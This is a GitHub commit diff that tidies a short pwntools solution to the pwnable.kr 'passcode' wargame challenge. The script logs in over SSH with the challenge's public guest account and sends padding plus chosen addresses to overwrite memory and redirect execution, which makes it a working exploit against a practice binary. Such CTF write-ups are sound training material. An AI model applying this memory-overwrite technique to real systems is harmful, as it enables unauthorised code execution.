Skip to content

Commit c5d0917

Browse files
clean up pwnable.kr passcode sol code
1 parent 3cb78f8 commit c5d0917

File tree

1 file changed

+0
-5
lines changed

1 file changed

+0
-5
lines changed

Diff for: pwnable-kr-passcode.py

-5
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,7 @@
11
from pwn import *
2-
#code = bytes(asm(shellcraft.i386.linux.exit(0)))
3-
#print(code)
4-
#iprint(u64(code))
52
r = ssh(host='pwnable.kr', port=2222, user='passcode', password='guest')
63
p = r.process('./passcode')
7-
#print(bytes([ord('a')] * 0x60) + p32(0x804a004))
84
p.writeline(bytes([ord('a')] * 0x60) + p32(0x804a004))
9-
#print(str(0x80485d7).encode('ascii'))
105
p.writeline(str(0x80485d7).encode('ascii'))
116
p.interactive()
127
# the flag will be written to output

0 commit comments

Comments
 (0)